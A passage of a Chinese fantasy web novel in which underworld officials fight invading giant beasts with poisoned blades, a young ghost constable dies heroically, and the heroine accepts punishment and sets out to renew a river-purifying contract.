施永和背上背着昏迷不醒的孟婆,原本挂在身前的药箱被陈再喜接了过去,那药箱不轻,他常年背着不觉得,换到旁人手上第一反应便是沉,但眼前这胆小不担事儿的鬼差,此刻却没喊一句苦。
“陈再喜?你是叫陈再喜吧?”施永和问了一嘴,“你这名字谁起的?”
陈再喜大概是没想到施永和会向他搭话,一时没反应过来:“什么?”
施永和好笑:“名字,父母给你起的吗,寓意很好。”
“哦……是,母亲给我起的。”说到家人他像是打开了话匣子,滔滔不绝地介绍着家里的情况,“我有个姐姐,曾经是地方
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总兵官,就是带兵打仗的头儿,常年驻守在外,我娘说我姐赢了胜仗回来那一年,我娘怀了我,我姐姐凯旋为一喜,我则是再喜。”
他走在前面仰头看了看天:“但我没见过我姐,只在下到地府后瞧自己的生死簿时看过她模样。”
施永和没想到随口一句便问出这个答案,闷闷地说了句抱歉。
“但我娘说我姐姐对我很好,她回来后在家待的那小半年,除了照顾我娘便是照顾我,还亲手在我的衣服上绣了图案。”他把腰上的布包给施永和看,那是用两块颜色不一样的布缝上的,看上去并不精美,反而有些寒酸。
“好看。”孟婆不知什么时候醒了,趴在施永和背上说了一句。陈再喜猛地看向她,她眨了眨眼,浅浅地勾起嘴角,又重复了一遍,“好看。”
陈再喜咧开嘴笑了:“这是我娘将我幼时的衣服剪下来缝上的,不然我姐绣上的图案留不住了。”
他觉着眼前糊了,飞快地眨了眨眼后好像仍看不清,便只好抬起袖子擦了擦。
“哎……别哭……”施永和嘟囔一句,深深地叹了口气。
他们沉默地拐过街角,陈再喜看了看,再往前走过一条街便是良医所了。
“我确实胆子小,也没经历过什么大事。”陈再喜开口道,“我爹娘临走前说,只希望我一直平平安安的,没病没灾就好。我……也只想这样过下去。”
施永和应着:“没什么不好的,谁还能盼着天天上刀山下火海么?”
陈再喜点点头,冲他笑了。
孟婆被放置在榻上时已经再次昏迷,背上的伤口看似干涸,但其中深处仍在往外渗血。
施永和指使徒弟拿药来,一边动作飞快地上药,一边唉声叹气:“不知道小黎那边怎么样了……”
陈再喜这才想起来他说的刚刚那场大火是岑黎放的。
“大人,岑黎大人还不知道我们安全到了良医所。”他站在旁边提醒道,“要不要给她传讯?”
“我方才让徒弟试过了,她那边没有回音,不知是不是被巨兽绊住了。”施永和摇摇头,“小黎有勇有谋,应当能全身而退。”
“要不……”陈再喜狠咬了一下自己的嘴角,“我去找岑黎大人吧,我习过武,能帮上她。”
他看着施永和的眼神甚至有些殷切。
这么多年他一直以为自己的性子便是爹娘口中说的平平淡淡、胆小又谨慎,但方才他推开良医所大门时,胸口中剧烈的跳动是这么多年来从未有过的。
那不是害怕,不是怯懦,那是他没有辜负别人信任,将事情完成的骄傲和满足。
此刻也是,他希望从施永和那儿听到的是肯定。
“你去吧,我相信你。”
陈再喜猛地睁大眼睛看向面前的施永和,施大人当真是神医吗,连他的心声也能听见?他又问了一遍:“什么?”
“你去吧。”施永和洗净了手,在他头顶轻轻拍了两下,像和蔼的长辈一样看着他,“我相信你。”
60. 地府危局 五
站在良医所门口的鬼差拍了拍斜挎着的布包,里头被他拍得叮当响。他慌忙收了手,在包底托了一把,好让那些瓶子安静下来。
包里是走前施永和给他的好些药,里头依旧是那些止血的、急救的、提升灵力……一个个小罐在包里丁零当啷地碰撞着,听着竟有些清脆的悦耳。
他站在门口往各个方向的屋顶上瞧了瞧,已然看不见黑烟和火光,但那个方向应是鬼市没错。陈再喜握紧手中的剑,决定原路返回前往鬼市看看。从镇妖塔到良医所这条路并没有遇见巨兽,想必回去的时候应该也遇不上,小心些便是。
岑黎立在酒铺斜对面的酒坊二楼窗台,瞧着不远处渐渐扬起的尘土。
来了!
她松开左手,原本拎在手中裹着酒瓶的布包掉在地上,陶瓷瓶子被摔得粉碎,里头装的酒也洒了出来,很快便将布浸湿。
巨兽还未近鬼市,沉闷的脚步声便听得十分清楚。它们四处嗅闻,循着一股特殊的味道往前走,踩塌了小石桥,挤塌了房屋,撞倒了大树……
为了挂在窗前摇摇欲坠的一块碎布。
猜得没错,真是因为怨气。
岑黎看着离酒坊只有一步之遥的巨兽,将手中布包点燃,投了出去,不偏不倚地迎面砸中了最前面那头巨兽。
那头巨兽被砸得甩了甩头,彻底恼怒了,刚抬起脑袋寻找便瞧见屋顶上有道身影在飞快地朝另一个方向跑去,巨兽跟了一小段距离,本想放弃,就见屋顶上又扔下一个“火球”。
“什么东西?!”陈再喜看着前方划过的一道红光,定睛看去,似乎还有人在屋顶上,那衣服看着十分眼熟……他震惊地往前跑了一小段,确认了那身影,“岑黎大人!”
他顾不上其它,直直往岑黎的方向跑去,就在他离岑黎仅有一条街的距离时,他隐约听见岑黎的喊声:“别过来!”
陈再喜一怔,地面的震动是为……
“躲起来!快跑!”岑黎跃下房顶朝他跑来,一把将他拽到旁边的莲花池中摁了下去,他还没直起身,就觉得一阵地动山摇,随后像是数道巨雷自面前滚过,他身上的汗毛都竖了起来。
“你要去哪儿?”岑黎一眼就认出了这个胆小的鬼差,看他带着细软,是要跑到别处去?
陈再喜连连摇头:“我是来找您的!孟婆已经被安然送回良医所了,施大人本想传讯给您,但联系不上,我便来看看。”
“好,辛苦你了,你快回去吧。”岑黎瞧着仍在附近徘徊的巨兽,打算再上屋顶将它们引开,“一会儿自己找准时机走,机灵些。”
说着她便要站起身,袖子却被陈再喜一把拽住。
陈再喜拽住她,神情焦急地说:“大人!我可以帮您的!”怕岑黎不放心,他又补充道,“我习过武,腿脚也快,您只管吩咐就是!”
岑黎看着他有些犹豫,这鬼差当时连去镇妖塔都害怕,怎么帮她……
“我都与施大人一同送孟婆从镇妖塔去良医所了,您还信不过我吗!”陈再喜急了,作势要摘身上背着的布包,“不如这样,我去将巨兽引开,您去找人帮忙!”
岑黎一把按住他的肩膀,不再多说废话,她也是糊涂了,能孤身走到这儿来的也不是什么胆小的人了,有何不可信的。
“我要将巨兽引到阎王殿那附近去,那儿有不少巨兽,现在只能将它们引到一起再想办法一网打尽。”岑黎快速说着,“我瞧过了,它们应是被那些有执念的鬼吸引来的,与那些鬼有过接触的都会被巨兽盯上。”
陈再喜点头:“但要如何一网打尽?巨兽体型庞大,逐个击破不是更容易?”
岑黎拉着他跳进一旁的小河里,“这便是需要你去做的事,你去莲花台,问云昭大人将上次剩余的龙角兽血带来,只是要小心些,血有剧毒。”
虽然莲花台与阎王殿并不在同一方向,但从鬼市到莲花台需要经过阎王殿前那条街,正是巨兽徘徊之处。岑黎本想传讯给云昭,但陈再喜刚才说施永和联系不上她,想来孟婆的虚空镜也坏了。
“但是去莲花台要经过阎王殿,十分凶险,你若是不愿意,我再另寻他法。”
“愿意!能帮上大人我当然愿意!我这就去!”
他有些激动地站起身就要往外走,忽然又返回来要把肩上的布包取下来给岑黎,“大人,这个留给您吧,里头都是施大人给我带的药。”
岑黎伸手将布包重新给他挎上,飞快地交待着:“我有,你带着以备不时之需,这一路上多加小心,若是过不去便不要逞强,找地方躲起来,明白吗?”
陈再喜却是没有一口应下,双手握着胸前的布带:“我一定能拿到龙角兽血,将它带给您。”
岑黎大人说这一路凶险那话,他应该听进去的。
陈再喜看向自己几乎被尖角刺穿的心口时想着,还有,他不记得布包里有没有能治好他的药。陈再喜扭头,费力地看向街角恢宏的那座阎王殿。
他来地府时间不长,从未去过莲花台,走之前他仔细问了莲花台的方位,岑黎大人告诉他:过了阎王殿所在的那条街,再往前过一座小桥,就能看见莲花台。
岑黎大人还说,只要看见,你便知道那是莲花台了。
他听了实在好奇得很,莲花台究竟是什么样子的?
长长的血痕拖在身后,他大口地喘着气,从腰间的布袋里拿出一张泛黄的纸,那纸上用黑炭写的字已经模糊不清,他将纸反过来,在空白的背面写道:龙角兽血可破局。
陈再喜握着那张纸,炭字的痕迹蹭黑了他干净的掌心。那些字写的是什么其实他也不知道,大概是姐姐传递的密报,被她的下属发现时那张纸正被她捏在手里。
就像他现在这样。
他靠着小桥的栏杆笑了一声,又开始担忧,自己的字万一模糊了怎么办,若是辨别不出来是龙角兽血,用了其它的血岂不是糟糕?
不行,他不能死在这儿,起码要等到有人看见他。
陈再喜翻找着布包,可里头东西太多,叮叮当当的圆瓶子滚来滚去,他根本找不到止血的药!
布包逐渐被血濡湿,他索性随手拿一瓶,打开是粉状便倒在胸前的伤口上,若是药丸便吞进肚里。他一瓶又一瓶地打开倒进嘴
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里,又打开倒在胸前……
“谛听!将人送回莲花台!快!”云峤一拍谛听的背,看着它驮起鬼差奔向莲花台后,他转身往相反的方向跑去。
“云昭,我让谛听带着一名受伤鬼差去了莲花台,你先将他交给云肃安置,能救就救!”云峤朝着鬼市的方向跑着,方才他收到了谢必安的传讯,鬼市中有火光出现,很有可能是岑黎做的,他和沈自珩都抽不开身,希望他能去帮岑黎。
云昭很快应道:“好!我在莲花台门口候着。”
“还有。”云峤说,“将剩余的龙角兽血交给谛听,让它先去找谢必安!谢必安随身带着墨玉的布巾,谛听能找到!”
“你们是想用龙角兽血对付巨兽?”云昭很快便想到了他们的目的,“但血只剩半瓶,地府中好几处都聚集着巨兽,怎么办?”
云峤自然也想到了,可……
“我将兽血多分几个瓶子装,谛听带一瓶去找谢必安,我带着剩下的先去找你,等你找到岑黎姐姐后我们再各自……”云昭远远地瞧见了背上驮着什么的谛听,急忙回头问云肃药有没有都准备好。
谛听背上的毛都被染红了。
“不用,我看见她了。”云峤皱紧眉头,看着眼前数只聚在一起的巨兽,它们略微低着头,双目通红,喉间时不时发出低吼,额前的尖角都对着正前方那个手握长镰的女子。
“在哪儿!姐姐在哪儿!”
“在鬼市!”
两道银光打在最前面那头巨兽的眼睛上,巨兽哀嚎一声,甩了甩头后便朝着面前的岑黎冲过去。
云峤本以为岑黎会飞上屋顶,正想跟着上去,却忽然见她闪身绕过旁边的摊位车,继续往前跑着。
“岑黎!”云峤跟在后面喊她。
“快来!”岑黎站在及腰深的奈河水中朝他挥手,“它们怕奈河水!”
云峤身后的巨兽穷追不舍,额前的尖角几乎要扎到他时,他纵身一跃跳进奈河中,还没站稳就被岑黎推到一边。
“扑通”一声,原本在他身后的那头巨兽冲进了河里,河水溅起一人高的水花,又伴着巨兽的惨叫落回滔滔不绝的河中。
“这是怎么回事?”云峤看着落荒而逃的巨兽,它厚厚的皮上竟凭空多出来好些伤口,并且那些伤口正以肉眼可见的速度腐烂着。
“这也是我刚发现的,奈河水竟能对它们造成这样的伤害,大概和它们吃那些鬼有关。这一路上它们紧跟着的都是与那些有执念的鬼有关的人或是物件,沾上了执念气息它们便会穷追不舍。正巧,奈河水现在连怨灵都能净化了,也不知是福是祸。”
巨兽们徘徊在岸边,暂时不敢下来,虽然这样他们也只能躲在河中才能安全,但总算能喘口气。岑黎抹了抹额头上的水,问他:“你怎么来了?”
“谢必安传讯给我,说在鬼市放火的有可能是你。”云峤正说着,被岑黎一把拽住胳膊。
“还有吗?他还说什么了吗?”
云峤有些摸不着头脑:“什……么?”
岑黎的脸色变得有些紧张,声音不自觉有些颤抖:“沈自珩呢?”
61. 地府危局 六
“沈自珩呢?”岑黎又问了一遍,抓着云峤衣服的手攥得死死的,“他还、还在吗?还活着吗?”
云峤一怔,急忙说道:“他虽没提及沈兄,但我也没听出他有何悲哀之意,我觉得……”
岑黎愣怔地盯着他看了一会儿,像是确认了他说的是真话,不是为了安慰她后,心中的石头才猛地坠下,叫她松了口气。
“好,谢谢。”
周围的巨兽在岸上等得急躁,开始试探着要下河。岑黎反应很快地推着云峤弯下腰从另一侧上了岸。过了这河便离阎王殿更近了一步,只是要如何让兽群全都中毒,龙角兽血在哪儿,还有地府中的屏障还未修复完成,若是此时再有巨兽侵入呢?
岑黎咬咬牙,将腿上裹伤的布条换了系紧,与云峤商量着接下来该怎么办。
“云昭会将龙角兽血分成几瓶送过来,此刻应该已经在过来的路上了,谛听也会带一瓶去寻沈兄。”云峤说,“方才我来时收到了传讯,周围的百姓全都跟着指引的鬼差躲藏进了阎王殿,你的虚空镜坏了,是不是没收到?”
云峤皱着眉看向前方,前面是地府中建筑最密集的区域之一,其中包括十座阎王殿,平日里阎王殿应当是没什么人的,但此时挤满了百姓。
岑黎会意,巨兽身形庞大,即便不主动冲撞房屋,仅是擦身而过也有可能将两旁的房屋毁坏,再者殿中手无寸铁的百姓颇多,怎么看都不应让巨兽靠近阎王殿。
“我原本是想将巨兽们一网打尽,现在看来并不可行。”她指了指过河后右侧的一座小荒山,“既然有龙角兽血,要不直接将它们引过去?”
他们脚下这条河流属奈河分支,平日里比奈何桥下那段河水更清澈,流动的速度也快些,巨兽下河时河水便会激起很大的水花。
正商量着,二人忽然觉着有些水溅在身上,他们连头都没回便拔腿就跑。
“去小山!”岑黎踩着河中一头巨兽的脑袋飞过河面,手中的长镰顺便在它身上划过,成功激怒了那头巨兽。
随着一声咆哮,巨兽们很快便聚拢起来朝他们追去,途中还试着用额前的尖角撞向他们,两人险险躲过,借着屋顶和苟活着的大树飞奔向那座荒山。
荒山名副其实,放眼望去一片枯黄,土地却是湿润富饶的状态。过去数百年,曾有无数人试图在这座山上种些东西,不管是好养活的花草还是难伺候的名贵树木,种上后的第二天便会变蔫,再过两天便枯萎了。
云峤随着岑黎躲进荒山侧面的山洞里,坐在一堆枯草上给云昭传讯:“云昭,我们在荒山,你可知这地方?”
云昭很快便传讯回来:“我知道,我马上就到!”话音未落,一头原本正在隔着木门嗅闻的巨兽转头看了过来,猩红的眼睛叫人看得寒毛直竖。
她下意识摸上腰间的软剑,这柄剑锋利至极,若是刺出去也能伤那畜生一两分,但她的目的不是在这儿与巨□□战!
摸着软剑的手往旁摸到一个布袋,那里头有一大两小共三个瓶子,她摸出其中最小的一个瓶子,往前扔出后便闪身往旁边奔去……
“砰”的一声巨响在她身后炸开,那头巨兽发出了几声哀嚎后便重重倒地,短时间内无法再站起。
“师兄?姐姐!师兄——”云昭踩上一片荒凉的土地,一边放出一小缕灵力四处探寻,一边小声喊着。方才来的路上她已经远远地瞧见了,另一边的兽群正在往山上奔来,只是体型硕大笨拙,动作比她还是慢些。
“云昭!”岑黎在山洞口瞧见了她的身影,远远地挥了挥手,想上前迎她。
“回去回去!别过来!”云昭慌忙扑到她跟前,推着岑黎的背让她回去,“我刚才瞧见了,它们正在过来了!姐姐,这血要怎么用?”
岑黎看着她拿出的口袋里那两瓶血,眼神一凛,当机立断地将瓶塞打开,龙角兽血沿着瓶口落在下方的长镰刃上:“别的法子是做不到了,但这个应该可行,一会儿我先去试一试。”
她卸下身上多余的包裹,只留长镰在侧,借着洞口石块的掩护,悄悄溜了出去。那些嶙峋的石块几乎挡住她半个身子,她弓着腰,贴着石面往兽群方向挪。
忽然,前方一头一直在低头嗅闻着他们踪迹的巨兽抬起头朝空中发出一声震耳欲聋的咆哮,没等其它巨兽应声,岑黎飞身而出,脚下在石块上轻点,身形如箭一般飞出,手中的长镰也向着巨兽身侧狠狠一挥!
一滴、两滴……沾着血的长镰划得巨兽皮开肉绽,血流如注,那头巨兽转头寻找着岑黎,可抬在空中的腿还未落下,它庞大的身躯便像是坍塌的山一样轰然倒下,扬起漫天尘土,片刻后便再无声息。
扒着石块的云昭看着发生的一切,欣喜地抓住云峤的手,脸上因激动都泛起了粉红:“师兄,这办法可行!真的可行!”
云峤低头看着她红扑扑的脸,点了点头:“来,我们也照做。”
“老沈!老沈!云峤那边传讯过来了,龙角兽血抹在刀刃上,只要通过伤口进入巨兽的身体,它们便会中毒死去了!”谢必安灰头土脸地去扒沈自珩肩膀,完全忘了自己手上还有根刚掰下来的尖角。
说是掰下来也是撞大运,那头身形稍小的巨兽不知道是上年纪了还是年纪太小,一头撞上了地府中活得最久的一棵古树,那古树高大粗壮,便是十数人手拉手才能勉强环抱,它这一头撞上去,额前的尖角便死死地卡在树干中,谢必安躲在一旁看得乐不可支,问沈自珩借了银枪,随后用银枪的枪头绕着尖角根部,在它皮肉上狠狠划了一圈——
谢必安一边嚷嚷着一边从沈自珩那儿拿过谛听送来的那一小瓶龙角兽血,准备往尖角上倒。忽然,他眼睛一亮:“我有这现成的角了,何必多此一举再用这个血?别浪费了,都给你都给你。”
龙角兽血沿着枪头缓缓滑下,殷红的血在泛着银光的枪身上蜿蜒,悄然爬上天空的冰冷的月色无声地裹上银枪,染上了些致命的味道。
沈自珩面无表情地看了他一眼:“倒上,速战速决。”
“诶,好。”谢必安用尖角在瓶里沾了一下便爽快地收手,“行,够了,龙角兽血够毒。”
他看着衣袍上金芒渐盛、蓄势待发的沈自珩,轻笑一声:“走吧,早点结束,小黎该担心你了。”
“岑大人!”
岑黎将嵌进巨兽皮肉的长镰拔出来,抬头寻找着声音的来源,发现有一人正站在不远处朝她挥手。
荒山这片的巨兽基本都已经中了兽血的毒倒下,很快便死去,仅有一两头仍在挣扎着从地上站起来,四条同柱子一样粗壮的腿在半空蹬踹着。
那人灵活地躲开了地上的巨兽朝她跑过来,口中喊着:“岑大人!屏障……”
岑黎一头雾水地看向一旁
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把软剑当拐杖用的云昭,问:“他喊的什么?”
云昭摇摇头,抬手在旁边苦苦挣扎的巨兽腿上补了一剑:“听不清。”
“岑大人!”春生跑到岑黎面前,眼睛亮晶晶地看着她们,又回头不可思议地看向倒在地上的十几头巨兽,“你们太厉害了!”
“是春生啊,你怎么来了?来的路上可还有遇到巨兽?”岑黎看着他笑笑,“百姓们可都还好?”
春生连连点头:“都好都好,地府中应是没有巨兽了,阎王已经让人开始上街打扫了,毁坏的房屋也要重建,负责的李恒大人同我一起出的门呢。”
“轰”的一声,荒山的最后一头巨兽倒在云峤的剑下。
云昭一直在远远地看着,见云峤安然无恙后她松了口气,冲云峤招招手。
“那就好。”岑黎放下心来,“只是不知外面还有没有巨兽,还是应该请阎王们尽快将屏障修好……”
春生听了她的话才想起来自己过来是要做什么,一拍脑袋:“我差点忘了!我过来就是给你们传讯的,屏障已经修复好了!原本应该传讯告知你们,但我在传讯给谢大人时他说你的虚空镜应当是坏了,收不到传讯,我也无法传讯给莲花台,所以便干脆跑过来。”
岑黎轻拍了一下他的肩膀,笑看这年轻的鬼差:“辛苦了,春生。”
“我就跑个腿,哪能说得上辛苦呀,大人!”春生始终记得岑黎救他的恩情,每次见她都十分激动,此刻巨兽也被消灭,他更是激动得无法自抑,滔滔不绝地说着。
“传讯时谢大人还说要我带个好用的传讯器给你。”他从袖中拿出一个地府中最常见的传讯器递了出去。
岑黎接过传讯器握在手心片刻,小心地轻声喊着:“沈自珩?”
那边立刻有了回音,有些沙哑的声音传来:“小黎,我在。”
听见沈自珩声音的那刻岑黎反倒愣住了,还是一旁的云昭先尖叫一声:“哥没事!太好了!”
岑黎被她扑过来的动作吓一跳,下意识抱住她,喃喃自语似的说着:“是啊……太好了……”
她和沈自珩的灵力传讯从骨矛兽那一战开始便连结着,不管距离多远,只要是在地府便能互相听见,只要人还在便能传讯。
因此她和沈自珩灵力传讯断开的那一瞬间,她以为沈自珩不在了。
人死了尚有尸骨,鬼魂没了该如何去找呢?
趴在她肩上的云昭心疼得哭湿了她衣服:“你就是这么,这么度过的这几天吗?”
岑黎一下一下地拍着她的背,她自己现在也想不起这期间是何种心情了,起先想去找他,但总有这个事儿那个事儿缠着,孟婆还受着伤,那么多巨兽还在地府中横冲直撞,鬼差们甚至来不及呼救就魂飞魄散……她要如何放下这些不管不顾地去寻他呢?
鬼差……
她拍拍云昭,问她那个受了伤的小鬼差怎么样了。
云昭看她:“是那个看上去很年轻的小鬼差?十七八的那个?他来的时候浑身是血,胸前好大一个洞,我让云肃师兄给他治伤了,你且等等,我问问。”
云昭传讯给守在莲花台的云肃:“小师兄,那个小鬼差怎么样了?”
“一会儿我给你回,我忙死了!”云肃匆匆说了一句便再无回音。
岑黎看向云昭问道:“那个小鬼差叫什么?”
62. 净河契 一
“陈再喜。”云肃将白布盖回去,轻叹一声,“伤得太重了,根本救不了,我只能给他喂了能短暂维持月身的药,等人来认了再处理。”
一众人站在一边,心里都有些发紧,还是刚赶过来的施永和最先开了口:“多谢。云肃大人,可有瞧见他身上的一个小布包?”
云肃点点头:“有,他攥着呢,施大人是想要那个布包留个念想?”
“不不不。”施永和连连摆手,又叹道,“那是他的家人给他最后留的念想了。”
鬼魂无生死,魂飞魄散也是切实存在的,那些碎片在光下飘扬着闪烁了一小会儿,像蒲公英一样漫天飞舞着,很快就不见了。
崔珏划去陈再喜的名字,将手上记载着鬼差姓名的生死簿递给阎王薛礼,同时小心地观察着他的脸色。
“看我做什么,想给谁求情?”薛礼翻着手中的生死簿,抬起眼皮瞧他,淡淡地问了一句。
崔珏将判官笔收了,双手交叠在身前,笑道:“府君,如今灾祸已解决了,百姓们毫发无伤,都在称颂着地府中各鬼差的英勇无畏,鬼帝与各殿府君将屏障修复如初,稳固了地府秩序,众生更是感念其德……”
“好了。”薛礼猛地将手中的生死簿合上丢给他,转身一甩袖子向殿上走去,冷哼一声道,“一向刚正不阿的崔判官如今也会阿谀奉承了。”
崔珏听着薛礼话中的不满,不再多说,只微微躬身低头站在殿上,等着薛礼开口。
“我且问你们,奈河事端对地府产生了多大的影响,可有人能细数一二?”薛礼站在殿上,俯视着下面站在崔珏身后的一众问道,“岑黎,你是孟婆庄管事,你说说。”
岑黎应声上前两步,行了礼,一五一十地说:“奈河水变,怨灵消散在其中,河中再无能吞噬执念之物,故地府中滞留了许多鬼魂,投胎转世也无法正常进行,再者……孟婆汤中奈河水最为关键,此次奈河突生事端,孟婆汤便无法再做。”
说着说着,她索性扑通一声跪下认罚:“府君,此次奈河事端是孟婆庄疏忽了,该罚,只是孟婆在施救鬼魂时遇上巨兽,身受重伤,若是再受罚恐怕支撑不住。”
沈自珩一惊,传讯喊她:“小黎!你做什么!”
薛礼依旧那样看着她,饶有兴致地问:“即是如此,你想个法子来?”
岑黎挺直腰背看向殿上那个看不清的身影,放声道:“我愿替孟婆庄一众受罚!请府君将孟婆庄所有鬼差应受的惩罚!尽落于我一人身上!”
坐在殿上的薛礼有些意外地挑了挑眉:“当真?”
岑黎的脊背挺得笔直:“当真!”
“好!”薛礼一挥衣袖,一道金光闪过岑黎眼前,她低头看向有些灼热感的手腕,内侧被薛礼的灵力刻上了一个图案复杂的标志。
薛礼走下殿,指了指她手腕,面上又恢复了从前那样平易近人的模样:“待你将所有事处理完毕,便凭着这个,下地狱去。”
“阎……府君没说让你去哪一狱啊,万一凶神恶煞的怎么办?”谢必安刚出了阎王殿就拽着岑黎看她手腕上的图案,一边说着一边数落沈自珩,“你怎么?你是木头吗?”
沈自珩紧皱的眉头一直没松开过,这会儿也紧紧盯着她手腕:“不管是哪一狱我都同她一起。”
谢必安哎呦一声,让到旁边去了,沈自珩立刻挤了上来。
方才传讯时他就已经知道岑黎想要独自领罚,即便他有心阻止,她也绝不会听。
“没事,起码等到重签了净河契,奈河恢复如常,我这才会起效。”岑黎抬了手腕给他看,“这么看还挺好看的,是吧?”
云昭在旁边抽了抽鼻子瘪着嘴:“姐姐,你们什么时候出发啊?我能一起去吗?”
“休整两天便要走了,路途遥远,得尽快,早去早回。”岑黎拍拍她一直挽着自己臂弯的手,“你就留在地府吧,孟婆伤势未愈,麦芽也需要人管着,不然会拆家,还得你帮我照看着些,嗯?”
云昭擦了擦流下的眼泪,乖乖点头:“好。”
谢必安和云峤约好了明天早晨在莲花台门口见,给谛听和墨玉弥补那日没玩成的遗憾,云昭说什么都要和岑黎回家,除了舍不得姐姐之外,也好熟悉一下如何镇压麦芽。
“那你呢?”岑黎转身看向一直落后她半步的沈自珩,到现在他们都只找了水擦净了脸,身上的衣服都血迹斑斑,看着有些触目惊心,“你回去后记得把身上的伤处理了,有药吗?”
一直紧绷着脸的沈自珩这会儿终于松快了些,轻笑着点点头:“有,不用担心我。”
孟婆后背的伤一时半会儿好不了,她只能成天趴在床上逗麦芽,至于怎么逗……
“麦芽麦芽?”孟婆喊着,“过来看看我嘛。”
她说完之后屋里先是一片安静,随后响起了一阵规律的嗒嗒声,十分清脆,是小狗爪踩在地板上的声音,那声音由远到近,很快孟婆就觉得搭在床边的手被湿漉漉的小狗鼻头碰了碰。
麦芽在经过一阵猛长之后,现在已经可以刚刚好将头搭在床上了。它就着这个姿势抽动着鼻头,使劲闻着孟婆今日身上的味道。
血腥味淡了很多,药的味道很刺鼻,让它有点想打喷嚏,还有一股香香的热腾腾的味道……
它转头看向紧闭的大门,竖起来的耳朵尖被轻轻弹了一下。
“去吧,岑黎回来了。”孟婆说。
麦芽唰地一下竖起尾巴,冲向门口。
云昭一推开门就险些被麦芽扑倒,虽然她被身后的岑黎抵住了背,但手里拎着的烤红薯被麦芽趁乱叼走了,还冲着她们摇尾巴。
“麦芽,吐掉。”岑黎背往大门上一靠,咔哒一声将大门关上。
麦芽依旧乖巧地摇着尾巴看着逼近它的云昭,用无辜的表情无声地提问它真的不可以吃这个里面香香的东西吗。
“不可以。”云昭坚定地冲它摊开掌心,“你不能吃这个。”说完以后她又转头问岑黎,“真的不能吃吗,它看着太可爱了。”
趴在床上的孟婆口齿不清地说:“是烤红薯吗,它
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消化不了。”她用胳膊肘支着床,艰难地从床上坐了起来后,气喘吁吁地朝云昭一伸手,“但是我可以吃。”
岑黎捧着用树叶包着的烤红薯,隔着厚实的树叶也能感觉到这红薯滚烫。她笑了笑,将红薯从中间掰开,热气一股脑地朝她的脸颊扑过去。
这是她这几天难得感受到的暖意。
他们从地府出来已经有两天了,原本她以为往昆仑山的路就算不山明水秀也该天朗气清,却没想到这一路上风沙颇大,甚至还会下起鹅毛大雪。
“地府外有屏障,昆仑山外也有屏障,因此两个屏障之间便会晴雨不定,甚至可能环境恶劣,这我知道。”岑黎啃了一口掰了一半的烤红薯,“现在……怎么说呢?”
她看看周围被压在大雪下却看上去生机勃勃的花草树木,太奇怪了!
刚刚她拂去了树叶上的雪,发现雪下的叶子仍是嫩绿的;及腰的灌木丛中甚至开满了鲜花;甚至河流中的小鱼都游得十分欢快,直到她将手伸进河水中才惊觉:
那河水竟是温热的!
沈自珩不说话,用手中半个红薯遮住上扬的嘴角。巨兽一战过后不知为何,岑黎比从前更活泼……也不算活泼,倒像是卸下了什么包袱一般的轻快,所言所行都更无拘无束起来。
岑黎坐回他身边,笑眯眯地看他:“你知道为什么吗?”
沈自珩摇头:“为什么?”
她托着下巴笑意更甚:“七爷跟我说了,我们传讯断了之后……”
眼前忽然晃过一片暖黄,随后她的嘴唇便被一个甜甜的东西堵上了。
岑黎笑着咬了一口堵住她嘴的红薯,继续说道:“七爷说当时你都快急死了,但是又不能扔下他不顾,只好用银枪泄愤,在那些巨兽身上下狠手。”
沈自珩闷闷地收回红薯不语,想到那日他们分开之后发生的种种惊险,他仍觉得心口发慌:“灵力传讯忽然断开,我以为你出事了。”
他与岑黎并排坐着,侧脸对着她,岑黎用目光细细描摹着他的脸,弧度好看的额头,高挺的鼻梁,微微上挑的狐狸眼,只是他现在难过了,狐狸眼变了味儿。
她凑近他,喊他一声。
沈自珩转头的同时一双暖暖的手捧住了他的脸颊,岑黎歪着头对他笑,眼里却也有晶莹的泪在打转。
“你记不记得我说过,如果我对你表白了三次,你仍然因为一些事情被困住,无法向我说明的话,我们就算有缘无分了?”
沈自珩皱起眉,想说些什么,最终却还是点了点头:“我记得。”
岑黎看着他的眼睛,落下泪来,嘴角却高高扬起:“我们商量一下,这个约定取消,好不好?”她眼前一片模糊,却很快被他温柔地擦去,她便又可以看到他温柔看她的样子,“这个约定……有点残酷,我觉得我们才刚刚开始,我们才刚刚开始熟知,开始相爱。”
沈自珩抬手覆上她的手:“我同意取消这个约定,只是有一点你说错了。”
“我们认识很久了,你还记得吗?”
63. 净河契 二
沈自珩说那句话似乎并没有要等到她的回答,他拍了拍岑黎的膝盖便起身去找柴火了,留她在原地守着眼前的火堆。
要么她说这儿就是很神奇的地方呢,被大雪覆盖了的木头竟还能烧着。
我们认识很久了,你还记得吗?
很久了吗?
有多久呢?
岑黎托着下巴看着火堆发呆,天色已逐渐暗了,不适合再赶路,在拿到新的净河契之前,他们必须避免一切可能发生的祸端。
待拿到新的净河契,将其投入奈河中,奈河便会恢复如常。
她用指尖将搭在手腕上的衣袖挑开一些,看着皮肤上那个十分明显的图案。她从未说过,这个图案像是无数根针组成,不深不浅地刺入她的皮肤,无法拔除,却也不会让她更痛苦,只是每时每刻都在提醒着她。
“你要下地狱了。”
她惶恐地四下寻找着这道阴冷声音的来源,却在转过头时忽然发现那些覆盖在花草上的雪都消失了,茂盛的植物也在飞快地凋零,它们嫩绿的叶子在一眨眼的功夫就变得枯黄,挂在枝头摇摇欲坠,再一眨眼那些枯叶就散落了一地,茁壮的树干也变得干枯皱巴,“咔嚓”一声轻响后倒在地上,扬起一小片尘土。
那枯黄颜色像是被泼出去的浑水向四周漫延,所到之处皆是一片死气沉沉。岑黎往前走了两步后低头看,她的鞋竟也慢慢变了色!
“小黎!”沈自珩的声音传来,她抬头望了一眼便惊恐地拔腿奔去,在她面前的沈自珩像是被钉在了原地,枯黄的碎叶像敏捷又冰冷的蛇一般缠上他的双脚,随后又向上到他的膝盖、腰、肩……他不甘地瞪大眼睛,双手向前努力伸着,却在岑黎触碰到他指尖的一瞬化成了枯叶。
“小黎!”沈自珩拍着岑黎的肩,可她依旧紧闭着双眼惊恐地喊着,他又伸手去用力握着她的手,试图让她从噩梦中醒来,却还是无济于事。
他将她紧握的拳头摊开,十指交错间一道金光柔和地亮起,从他的手腕缠绵地绕上她的指尖,又如水一般沿着她的手臂流淌……
“小黎?”
岑黎睁开眼,茫然地看着眼前昏暗的山洞,温暖的火光在石壁上映出了一团影子,那影子动了动,温热的手掌轻碰她额头便又收回,“做噩梦了?”
岑黎伸出手拽了一下沈自珩的衣袖,又往下摸到他手掌握住,掌心里的暖意逐渐传上她的手臂、脖颈、脸颊、头皮……她看着眼前真切存在的沈自珩,终于扑过去牢牢搂住他脖颈。
